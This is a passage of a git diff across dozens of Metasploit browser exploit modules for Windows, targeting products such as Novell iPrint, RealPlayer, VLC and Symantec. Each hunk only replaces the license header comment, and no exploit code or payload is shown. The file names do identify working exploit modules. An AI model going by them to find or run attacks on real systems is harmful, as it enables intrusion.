a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index c7b4d8ca3d..fe928a99d2 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb index 8c4a14967b..958f721273 100644 --- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb +++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/novelliprint_datetime.rb b/modules/exploits/windows/browser/novelliprint_datetime.rb index 6f680a433e..2da261386b 100644 --- a/modules/exploits/windows/browser/novelliprint_datetime.rb +++ b/modules/exploits/windows/browser/novelliprint_datetime.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novelliprint_executerequest.rb b/modules/exploits/windows/browser/novelliprint_executerequest.rb index 6bfd28f447..091a2c876b 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb index 3b5b019a95..7f2226c210 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb index a2d447a1ab..dde8ef8175 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ### -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb index 348c7aecce..529145c0ce 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb @@ -1,8 +1,6 @@ ### -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novelliprint_target_frame.rb b/modules/exploits/windows/browser/novelliprint_target_frame.rb index effed49cef..e2d21e0e03 100644 --- a/modules/exploits/windows/browser/novelliprint_target_frame.rb +++ b/modules/exploits/windows/browser/novelliprint_target_frame.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 9dafa5a71b..beeac42d3a 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index 094210071c..d5226d9539 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index 88e1c36a3e..257dfada8e 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb index c3cc9421d5..2d0d4c42ed 100644 --- a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb +++ b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index df8502389d..9481afd42f 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb index a73ac871c7..6fde038199 100644 --- a/modules/exploits/windows/browser/orbit_connecting.rb +++ b/modules/exploits/windows/browser/orbit_connecting.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 76dd2a8630..e9fddf48a8 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index 8f40e08633..222f1a8c9d 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index f101ea78d0..1cc5b98fa6 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index ae61903d61..48e482ef77 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index 5a1b66eab0..8d0f0d210b 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index bdc78f97f7..2300e44ad9 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb index fb2fb6aa2f..aed009e52c 100644 --- a/modules/exploits/windows/browser/realplayer_console.rb +++ b/modules/exploits/windows/browser/realplayer_console.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb index 0dca1483e8..291d61caa2 100644 --- a/modules/exploits/windows/browser/realplayer_import.rb +++ b/modules/exploits/windows/browser/realplayer_import.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index eea9d862a2..ada8678d56 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb index e265be3835..e838f3ccd1 100644 --- a/modules/exploits/windows/browser/realplayer_smil.rb +++ b/modules/exploits/windows/browser/realplayer_smil.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb index 6d8129ff62..8f69d7ccf5 100644 --- a/modules/exploits/windows/browser/roxio_cineplayer.rb +++ b/modules/exploits/windows/browser/roxio_cineplayer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index ba4b33252c..0c791ad2ba 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 64e1284191..18b73f97ed 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb index 75bf3ccdb0..4e796bb35c 100644 --- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb +++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index aad811d6bd..323245ef76 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb index 413eaadc20..805db8262e 100644 --- a/modules/exploits/windows/browser/softartisans_getdrivename.rb +++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb index cdbba7c204..1b9243a200 100644 --- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb +++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb index 45547a77a9..8c0f807bcc 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb index 36a9b97e0f..7c74335168 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb index 51e0d7f212..69d273145e 100644 --- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb +++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb index 7af2ce137e..120a16110c 100644 --- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb +++ b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb index 51c30b22b6..c2c4f714eb 100644 --- a/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb +++ b/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index b0d27cc2d4..616b0e684f 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb index 6febe738d3..97eb2a94a2 100644 --- a/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb +++ b/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 7b4252a18f..fae74d499f 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -1,8 +1,6 @@ ### -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 39b39c1545..41dd31455e 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index e1e28255d8..111be503f7 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb index b8d4901539..6b00c5ab27 100644 --- a/modules/exploits/windows/browser/trendmicro_officescan.rb +++ b/modules/exploits/windows/browser/trendmicro_officescan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb index 01ec511639..e4f2a93af9 100644 --- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb +++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index a42f117578..f79487782e 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 4746dab907..a7dcea1b30 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb index 1865940e2b..acf5fd8cec 100644 --- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb +++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index b351b5507b..a7c78eefad 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index bbd0a1ad79..8b80498bf9 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index b552e6b47e..ac36d7e668 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 541bfaf6f3..47a9522a3d 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index bd7280ecd2..488d2c4feb 100644 --- 